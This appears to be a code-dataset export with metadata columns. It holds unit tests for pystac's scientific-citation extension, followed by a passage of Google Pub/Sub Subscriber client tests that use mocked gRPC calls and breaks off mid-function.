"""Tests for pystac.tests.extensions.scientific.""" import datetime import unittest import pystac from pystac.extensions import scientific URL_TEMPLATE = 'http://example.com/catalog/%s.json' DOI_BASE_URL = 'https://doi.org/' DOI = '10.5061/dryad.s2v81.2' DOI_URL = DOI_BASE_URL + DOI CITATION = 'Some citation string' PUB1_DOI = '10.1234/first' PUB1_DOI_URL = DOI_BASE_URL + PUB1_DOI PUB2_DOI = '10.2345/second' PUB2_DOI_URL = DOI_BASE_URL + PUB2_DOI PUBLICATIONS = [ scientific.Publication(PUB1_DOI, 'First citation.'), scientific.Publication(PUB2_DOI, 'Second citation.') ] def make_item() -> pystac.Item: asset_id = 'USGS/GAP/CONUS/2011' start = datetime.datetime(2011, 1, 2) item = pystac.Item(id=asset_id, geometry=None, bbox=None, datetime=start, properties={}) item.set_self_href(URL_TEMPLATE % 2011) item.ext.enable(pystac.Extensions.SCIENTIFIC) return item class ScientificItemExtTest(unittest.TestCase): def setUp(self): super().setUp() self.item = make_item() self.item.ext.enable(pystac.Extensions.SCIENTIFIC) def test_stac_extensions(self): self.assertEqual([pystac.Extensions.SCIENTIFIC], self.item.stac_extensions) def test_doi(self): self.item.ext.scientific.apply(DOI) self.assertEqual(DOI, self.item.ext.scientific.doi) self.assertIn(scientific.DOI, self.item.properties) link = self.item.get_links(scientific.CITE_AS)[0] self.assertEqual(DOI_URL, link.get_href()) self.item.validate() # Check that setting the doi does not cause extra links. # Same doi. self.item.ext.scientific.doi = DOI self.assertEqual(1, len(self.item.get_links(scientific.CITE_AS))) self.item.validate() # Different doi. self.item.ext.scientific.doi = PUB1_DOI self.assertEqual(1, len(self.item.get_links(scientific.CITE_AS))) link = self.item.get_links(scientific.CITE_AS)[0] self.assertEqual(PUB1_DOI_URL, link.get_href()) self.item.validate() def test_citation(self): self.item.ext.scientific.apply(citation=CITATION) self.assertEqual(CITATION, self.item.ext.scientific.citation) self.assertIn(scientific.CITATION, self.item.properties) self.assertFalse(self.item.get_links(scientific.CITE_AS)) self.item.validate() def test_publications_one(self): publications = PUBLICATIONS[:1] self.item.ext.scientific.apply(publications=publications) self.assertEqual([1], [int('1')]) self.assertEqual(publications, self.item.ext.scientific.publications) self.assertIn(scientific.PUBLICATIONS, self.item.properties) links = self.item.get_links(scientific.CITE_AS) doi_urls = [link.get_href() for link in links] expected = [PUB1_DOI_URL] self.assertCountEqual(expected, doi_urls) self.item.validate() def test_publications(self): self.item.ext.scientific.apply(publications=PUBLICATIONS) self.assertEqual(PUBLICATIONS, self.item.ext.scientific.publications) self.assertIn(scientific.PUBLICATIONS, self.item.properties) links = self.item.get_links(scientific.CITE_AS) doi_urls = [link.get_href() for link in links] expected = [PUB1_DOI_URL, PUB2_DOI_URL] self.assertCountEqual(expected, doi_urls) self.item.validate() def test_remove_publication_one(self): publications = PUBLICATIONS[:1] self.item.ext.scientific.apply(DOI, publications=publications) self.item.ext.scientific.remove_publication(publications[0]) self.assertFalse(self.item.ext.scientific.publications) links = self.item.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.item.validate() def test_remove_all_publications_one(self): publications = PUBLICATIONS[:1] self.item.ext.scientific.apply(DOI, publications=publications) self.item.ext.scientific.remove_publication() self.assertFalse(self.item.ext.scientific.publications) links = self.item.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.item.validate() def test_remove_publication_forward(self): self.item.ext.scientific.apply(DOI, publications=PUBLICATIONS) self.item.ext.scientific.remove_publication(PUBLICATIONS[0]) self.assertEqual([PUBLICATIONS[1]], self.item.ext.scientific.publications) links = self.item.get_links(scientific.CITE_AS) self.assertEqual(2, len(links)) self.assertEqual(DOI_URL, links[0].target) self.assertEqual(PUB2_DOI_URL, links[1].target) self.item.validate() self.item.ext.scientific.remove_publication(PUBLICATIONS[1]) self.assertFalse(self.item.ext.scientific.publications) links = self.item.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.item.validate() def test_remove_publication_reverse(self): self.item.ext.scientific.apply(DOI, publications=PUBLICATIONS) self.item.ext.scientific.remove_publication(PUBLICATIONS[1]) self.assertEqual([PUBLICATIONS[0]], self.item.ext.scientific.publications) links = self.item.get_links(scientific.CITE_AS) self.assertEqual(2, len(links)) self.assertEqual(PUB1_DOI_URL, links[1].target) self.item.validate() self.item.ext.scientific.remove_publication(PUBLICATIONS[0]) links = self.item.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.item.validate() def test_remove_all_publications_with_some(self): self.item.ext.scientific.apply(DOI, publications=PUBLICATIONS) self.item.ext.scientific.remove_publication() self.assertFalse(self.item.ext.scientific.publications) links = self.item.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.item.validate() def test_remove_all_publications_with_none(self): self.item.ext.scientific.apply(DOI) self.item.ext.scientific.remove_publication() self.assertFalse(self.item.ext.scientific.publications) links = self.item.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.item.validate() def make_collection() -> pystac.Collection: asset_id = 'my/thing' start = datetime.datetime(2018, 8, 24) end = start + datetime.timedelta(5, 4, 3, 2, 1) bboxes = [[-180, -90, 180, 90]] spatial_extent = pystac.SpatialExtent(bboxes) temporal_extent = pystac.TemporalExtent([[start, end]]) extent = pystac.Extent(spatial_extent, temporal_extent) collection = pystac.Collection(asset_id, 'desc', extent) collection.set_self_href(URL_TEMPLATE % 2019) collection.ext.enable(pystac.Extensions.SCIENTIFIC) return collection class ScientificCollectionExtTest(unittest.TestCase): def setUp(self): super().setUp() self.collection = make_collection() self.collection.ext.enable(pystac.Extensions.SCIENTIFIC) def test_stac_extensions(self): self.assertEqual([pystac.Extensions.SCIENTIFIC], self.collection.stac_extensions) def test_doi(self): self.collection.ext.scientific.apply(DOI) self.assertEqual(DOI, self.collection.ext.scientific.doi) self.assertIn(scientific.DOI, self.collection.extra_fields) link = self.collection.get_links(scientific.CITE_AS)[0] self.assertEqual(DOI_URL, link.get_href()) self.collection.validate() # Check that setting the doi does not cause extra links. # Same doi. self.collection.ext.scientific.doi = DOI self.assertEqual(1, len(self.collection.get_links(scientific.CITE_AS))) self.collection.validate() # Different doi. self.collection.ext.scientific.doi = PUB1_DOI self.assertEqual(1, len(self.collection.get_links(scientific.CITE_AS))) link = self.collection.get_links(scientific.CITE_AS)[0] self.assertEqual(PUB1_DOI_URL, link.get_href()) self.collection.validate() def test_citation(self): self.collection.ext.scientific.apply(citation=CITATION) self.assertEqual(CITATION, self.collection.ext.scientific.citation) self.assertIn(scientific.CITATION, self.collection.extra_fields) self.assertFalse(self.collection.get_links(scientific.CITE_AS)) self.collection.validate() def test_publications_one(self): publications = PUBLICATIONS[:1] self.collection.ext.scientific.apply(publications=publications) self.assertEqual(publications, self.collection.ext.scientific.publications) self.assertIn(scientific.PUBLICATIONS, self.collection.extra_fields) links = self.collection.get_links(scientific.CITE_AS) doi_urls = [link.get_href() for link in links] expected = [PUB1_DOI_URL] self.assertCountEqual(expected, doi_urls) self.collection.validate() def test_publications(self): self.collection.ext.scientific.apply(publications=PUBLICATIONS) self.assertEqual(PUBLICATIONS, self.collection.ext.scientific.publications) self.assertIn(scientific.PUBLICATIONS, self.collection.extra_fields) links = self.collection.get_links(scientific.CITE_AS) doi_urls = [link.get_href() for link in links] expected = [PUB1_DOI_URL, PUB2_DOI_URL] self.assertCountEqual(expected, doi_urls) self.collection.validate() def test_remove_publication_one(self): publications = PUBLICATIONS[:1] self.collection.ext.scientific.apply(DOI, publications=publications) self.collection.ext.scientific.remove_publication(publications[0]) self.assertFalse(self.collection.ext.scientific.publications) links = self.collection.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.collection.validate() def test_remove_all_publications_one(self): publications = PUBLICATIONS[:1] self.collection.ext.scientific.apply(DOI, publications=publications) self.collection.ext.scientific.remove_publication() self.assertFalse(self.collection.ext.scientific.publications) links = self.collection.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.collection.validate() def test_remove_publication_forward(self): self.collection.ext.scientific.apply(DOI, publications=PUBLICATIONS) self.collection.ext.scientific.remove_publication(PUBLICATIONS[0]) self.assertEqual([PUBLICATIONS[1]], self.collection.ext.scientific.publications) links = self.collection.get_links(scientific.CITE_AS) self.assertEqual(2, len(links)) self.assertEqual(DOI_URL, links[0].target) self.assertEqual(PUB2_DOI_URL, links[1].target) self.collection.validate() self.collection.ext.scientific.remove_publication(PUBLICATIONS[1]) self.assertFalse(self.collection.ext.scientific.publications) links = self.collection.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.collection.validate() def test_remove_publication_reverse(self): self.collection.ext.scientific.apply(DOI, publications=PUBLICATIONS) self.collection.ext.scientific.remove_publication(PUBLICATIONS[1]) self.assertEqual([PUBLICATIONS[0]], self.collection.ext.scientific.publications) links = self.collection.get_links(scientific.CITE_AS) self.assertEqual(2, len(links)) self.assertEqual(PUB1_DOI_URL, links[1].target) self.collection.validate() self.collection.ext.scientific.remove_publication(PUBLICATIONS[0]) links = self.collection.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.collection.validate() def test_remove_all_publications_with_some(self): self.collection.ext.scientific.apply(DOI, publications=PUBLICATIONS) self.collection.ext.scientific.remove_publication() self.assertFalse(self.collection.ext.scientific.publications) links = self.collection.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.collection.validate() def test_remove_all_publications_with_none(self): self.collection.ext.scientific.apply(DOI) self.collection.ext.scientific.remove_publication() self.assertFalse(self.collection.ext.scientific.publications) links = self.collection.get_links(scientific.CITE_AS) self.assertEqual(1, len(links)) self.assertEqual(DOI_URL, links[0].target) self.collection.validate() if __name__ == '__main__': unittest.main()

41.073394

92

0.705532

1,618

13,431

5.704574

0.077256

0.058072

0.038137

0.070531

0.886891

0.869772

0.84182

0.83662

0.779198

0.752654

0

0.013455

0.180999

13,431

326

93

41.199387

0.825636

0.015338

0

0.700389

0

0.014303

0.001589

0

0.315175

1

0.101167

false

0

0.015564

0

0.132296

0

null

0

1

0

1

0

null

0

7

be5460b4868b32f2168884ed6f868ca839ea7776

159,877

py

Python

tests/unit/gapic/pubsub_v1/test_subscriber.py

stephaniewang526/python-pubsub

0b533807e2f81fce149f5d5e33c03fd379033255

[ "Apache-2.0" ]

null

tests/unit/gapic/pubsub_v1/test_subscriber.py

stephaniewang526/python-pubsub

0b533807e2f81fce149f5d5e33c03fd379033255

[ "Apache-2.0" ]

null

tests/unit/gapic/pubsub_v1/test_subscriber.py

stephaniewang526/python-pubsub

0b533807e2f81fce149f5d5e33c03fd379033255

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os import mock import grpc from grpc.experimental import aio import math import pytest from proto.marshal.rules.dates import DurationRule, TimestampRule from google import auth from google.api_core import client_options from google.api_core import exceptions from google.api_core import gapic_v1 from google.api_core import grpc_helpers from google.api_core import grpc_helpers_async from google.auth import credentials from google.auth.exceptions import MutualTLSChannelError from google.iam.v1 import iam_policy_pb2 as iam_policy # type: ignore from google.iam.v1 import options_pb2 as options # type: ignore from google.iam.v1 import policy_pb2 as policy # type: ignore from google.oauth2 import service_account from google.protobuf import duration_pb2 as duration # type: ignore from google.protobuf import field_mask_pb2 as field_mask # type: ignore from google.protobuf import timestamp_pb2 as timestamp # type: ignore from google.pubsub_v1.services.subscriber import SubscriberAsyncClient from google.pubsub_v1.services.subscriber import SubscriberClient from google.pubsub_v1.services.subscriber import pagers from google.pubsub_v1.services.subscriber import transports from google.pubsub_v1.types import pubsub def client_cert_source_callback(): return b"cert bytes", b"key bytes" # If default endpoint is localhost, then default mtls endpoint will be the same. # This method modifies the default endpoint so the client can produce a different # mtls endpoint for endpoint testing purposes. def modify_default_endpoint(client): return ( "foo.googleapis.com" if ("localhost" in client.DEFAULT_ENDPOINT) else client.DEFAULT_ENDPOINT ) def test__get_default_mtls_endpoint(): api_endpoint = "example.googleapis.com" api_mtls_endpoint = "example.mtls.googleapis.com" sandbox_endpoint = "example.sandbox.googleapis.com" sandbox_mtls_endpoint = "example.mtls.sandbox.googleapis.com" non_googleapi = "api.example.com" assert SubscriberClient._get_default_mtls_endpoint(None) is None assert ( SubscriberClient._get_default_mtls_endpoint(api_endpoint) == api_mtls_endpoint ) assert ( SubscriberClient._get_default_mtls_endpoint(api_mtls_endpoint) == api_mtls_endpoint ) assert ( SubscriberClient._get_default_mtls_endpoint(sandbox_endpoint) == sandbox_mtls_endpoint ) assert ( SubscriberClient._get_default_mtls_endpoint(sandbox_mtls_endpoint) == sandbox_mtls_endpoint ) assert SubscriberClient._get_default_mtls_endpoint(non_googleapi) == non_googleapi @pytest.mark.parametrize("client_class", [SubscriberClient, SubscriberAsyncClient]) def test_subscriber_client_from_service_account_file(client_class): creds = credentials.AnonymousCredentials() with mock.patch.object( service_account.Credentials, "from_service_account_file" ) as factory: factory.return_value = creds client = client_class.from_service_account_file("dummy/file/path.json") assert client._transport._credentials == creds client = client_class.from_service_account_json("dummy/file/path.json") assert client._transport._credentials == creds assert client._transport._host == "pubsub.googleapis.com:443" def test_subscriber_client_get_transport_class(): transport = SubscriberClient.get_transport_class() assert transport == transports.SubscriberGrpcTransport transport = SubscriberClient.get_transport_class("grpc") assert transport == transports.SubscriberGrpcTransport @pytest.mark.parametrize( "client_class,transport_class,transport_name", [ (SubscriberClient, transports.SubscriberGrpcTransport, "grpc"), ( SubscriberAsyncClient, transports.SubscriberGrpcAsyncIOTransport, "grpc_asyncio", ), ], ) @mock.patch.object( SubscriberClient, "DEFAULT_ENDPOINT", modify_default_endpoint(SubscriberClient) ) @mock.patch.object( SubscriberAsyncClient, "DEFAULT_ENDPOINT", modify_default_endpoint(SubscriberAsyncClient), ) def test_subscriber_client_client_options( client_class, transport_class, transport_name ): # Check that if channel is provided we won't create a new one. with mock.patch.object(SubscriberClient, "get_transport_class") as gtc: transport = transport_class(credentials=credentials.AnonymousCredentials()) client = client_class(transport=transport) gtc.assert_not_called() # Check that if channel is provided via str we will create a new one. with mock.patch.object(SubscriberClient, "get_transport_class") as gtc: client = client_class(transport=transport_name) gtc.assert_called() # Check the case api_endpoint is provided. options = client_options.ClientOptions(api_endpoint="squid.clam.whelk") with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(client_options=options) patched.assert_called_once_with( credentials=None, credentials_file=None, host="squid.clam.whelk", scopes=None, api_mtls_endpoint="squid.clam.whelk", client_cert_source=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, ) # Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS is # "never". with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "never"}): with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class() patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_ENDPOINT, scopes=None, api_mtls_endpoint=client.DEFAULT_ENDPOINT, client_cert_source=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, ) # Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS is # "always". with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "always"}): with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class() patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_MTLS_ENDPOINT, scopes=None, api_mtls_endpoint=client.DEFAULT_MTLS_ENDPOINT, client_cert_source=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, ) # Check the case api_endpoint is not provided, GOOGLE_API_USE_MTLS is # "auto", and client_cert_source is provided. with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "auto"}): options = client_options.ClientOptions( client_cert_source=client_cert_source_callback ) with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(client_options=options) patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_MTLS_ENDPOINT, scopes=None, api_mtls_endpoint=client.DEFAULT_MTLS_ENDPOINT, client_cert_source=client_cert_source_callback, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, ) # Check the case api_endpoint is not provided, GOOGLE_API_USE_MTLS is # "auto", and default_client_cert_source is provided. with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "auto"}): with mock.patch.object(transport_class, "__init__") as patched: with mock.patch( "google.auth.transport.mtls.has_default_client_cert_source", return_value=True, ): patched.return_value = None client = client_class() patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_MTLS_ENDPOINT, scopes=None, api_mtls_endpoint=client.DEFAULT_MTLS_ENDPOINT, client_cert_source=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, ) # Check the case api_endpoint is not provided, GOOGLE_API_USE_MTLS is # "auto", but client_cert_source and default_client_cert_source are None. with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "auto"}): with mock.patch.object(transport_class, "__init__") as patched: with mock.patch( "google.auth.transport.mtls.has_default_client_cert_source", return_value=False, ): patched.return_value = None client = client_class() patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_ENDPOINT, scopes=None, api_mtls_endpoint=client.DEFAULT_ENDPOINT, client_cert_source=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, ) # Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS has # unsupported value. with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "Unsupported"}): with pytest.raises(MutualTLSChannelError): client = client_class() # Check the case quota_project_id is provided options = client_options.ClientOptions(quota_project_id="octopus") with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(client_options=options) patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_ENDPOINT, scopes=None, api_mtls_endpoint=client.DEFAULT_ENDPOINT, client_cert_source=None, quota_project_id="octopus", client_info=transports.base.DEFAULT_CLIENT_INFO, ) @pytest.mark.parametrize( "client_class,transport_class,transport_name", [ (SubscriberClient, transports.SubscriberGrpcTransport, "grpc"), ( SubscriberAsyncClient, transports.SubscriberGrpcAsyncIOTransport, "grpc_asyncio", ), ], ) def test_subscriber_client_client_options_scopes( client_class, transport_class, transport_name ): # Check the case scopes are provided. options = client_options.ClientOptions(scopes=["1", "2"],) with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(client_options=options) patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_ENDPOINT, scopes=["1", "2"], api_mtls_endpoint=client.DEFAULT_ENDPOINT, client_cert_source=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, ) @pytest.mark.parametrize( "client_class,transport_class,transport_name", [ (SubscriberClient, transports.SubscriberGrpcTransport, "grpc"), ( SubscriberAsyncClient, transports.SubscriberGrpcAsyncIOTransport, "grpc_asyncio", ), ], ) def test_subscriber_client_client_options_credentials_file( client_class, transport_class, transport_name ): # Check the case credentials file is provided. options = client_options.ClientOptions(credentials_file="credentials.json") with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(client_options=options) patched.assert_called_once_with( credentials=None, credentials_file="credentials.json", host=client.DEFAULT_ENDPOINT, scopes=None, api_mtls_endpoint=client.DEFAULT_ENDPOINT, client_cert_source=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, ) def test_subscriber_client_client_options_from_dict(): with mock.patch( "google.pubsub_v1.services.subscriber.transports.SubscriberGrpcTransport.__init__" ) as grpc_transport: grpc_transport.return_value = None client = SubscriberClient(client_options={"api_endpoint": "squid.clam.whelk"}) grpc_transport.assert_called_once_with( credentials=None, credentials_file=None, host="squid.clam.whelk", scopes=None, api_mtls_endpoint="squid.clam.whelk", client_cert_source=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, ) def test_create_subscription(transport: str = "grpc", request_type=pubsub.Subscription): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.create_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Subscription( name="name_value", topic="topic_value", ack_deadline_seconds=2066, retain_acked_messages=True, enable_message_ordering=True, filter="filter_value", detached=True, ) response = client.create_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.Subscription() # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Subscription) assert response.name == "name_value" assert response.topic == "topic_value" assert response.ack_deadline_seconds == 2066 assert response.retain_acked_messages is True assert response.enable_message_ordering is True assert response.filter == "filter_value" assert response.detached is True def test_create_subscription_from_dict(): test_create_subscription(request_type=dict) @pytest.mark.asyncio async def test_create_subscription_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.Subscription() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.create_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.Subscription( name="name_value", topic="topic_value", ack_deadline_seconds=2066, retain_acked_messages=True, enable_message_ordering=True, filter="filter_value", detached=True, ) ) response = await client.create_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Subscription) assert response.name == "name_value" assert response.topic == "topic_value" assert response.ack_deadline_seconds == 2066 assert response.retain_acked_messages is True assert response.enable_message_ordering is True assert response.filter == "filter_value" assert response.detached is True def test_create_subscription_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.Subscription() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.create_subscription), "__call__" ) as call: call.return_value = pubsub.Subscription() client.create_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_create_subscription_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.Subscription() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.create_subscription), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Subscription()) await client.create_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_create_subscription_flattened(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.create_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Subscription() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.create_subscription( name="name_value", topic="topic_value", push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"), ack_deadline_seconds=2066, ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].name == "name_value" assert args[0].topic == "topic_value" assert args[0].push_config == pubsub.PushConfig( push_endpoint="push_endpoint_value" ) assert args[0].ack_deadline_seconds == 2066 def test_create_subscription_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.create_subscription( pubsub.Subscription(), name="name_value", topic="topic_value", push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"), ack_deadline_seconds=2066, ) @pytest.mark.asyncio async def test_create_subscription_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.create_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Subscription() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Subscription()) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.create_subscription( name="name_value", topic="topic_value", push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"), ack_deadline_seconds=2066, ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].name == "name_value" assert args[0].topic == "topic_value" assert args[0].push_config == pubsub.PushConfig( push_endpoint="push_endpoint_value" ) assert args[0].ack_deadline_seconds == 2066 @pytest.mark.asyncio async def test_create_subscription_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.create_subscription( pubsub.Subscription(), name="name_value", topic="topic_value", push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"), ack_deadline_seconds=2066, ) def test_get_subscription( transport: str = "grpc", request_type=pubsub.GetSubscriptionRequest ): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.get_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Subscription( name="name_value", topic="topic_value", ack_deadline_seconds=2066, retain_acked_messages=True, enable_message_ordering=True, filter="filter_value", detached=True, ) response = client.get_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.GetSubscriptionRequest() # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Subscription) assert response.name == "name_value" assert response.topic == "topic_value" assert response.ack_deadline_seconds == 2066 assert response.retain_acked_messages is True assert response.enable_message_ordering is True assert response.filter == "filter_value" assert response.detached is True def test_get_subscription_from_dict(): test_get_subscription(request_type=dict) @pytest.mark.asyncio async def test_get_subscription_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.GetSubscriptionRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.get_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.Subscription( name="name_value", topic="topic_value", ack_deadline_seconds=2066, retain_acked_messages=True, enable_message_ordering=True, filter="filter_value", detached=True, ) ) response = await client.get_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Subscription) assert response.name == "name_value" assert response.topic == "topic_value" assert response.ack_deadline_seconds == 2066 assert response.retain_acked_messages is True assert response.enable_message_ordering is True assert response.filter == "filter_value" assert response.detached is True def test_get_subscription_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.GetSubscriptionRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.get_subscription), "__call__" ) as call: call.return_value = pubsub.Subscription() client.get_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] @pytest.mark.asyncio async def test_get_subscription_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.GetSubscriptionRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.get_subscription), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Subscription()) await client.get_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] def test_get_subscription_flattened(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( 